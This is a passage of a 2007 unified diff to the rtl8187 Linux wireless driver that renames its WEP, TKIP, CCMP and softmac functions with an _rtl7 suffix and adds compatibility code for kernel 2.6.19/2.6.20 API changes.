ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-02-26 03:05:12.091489906 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-26 03:05:15.841546474 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-26 03:05:15.881547078 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-26 03:05:12.121490358 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int 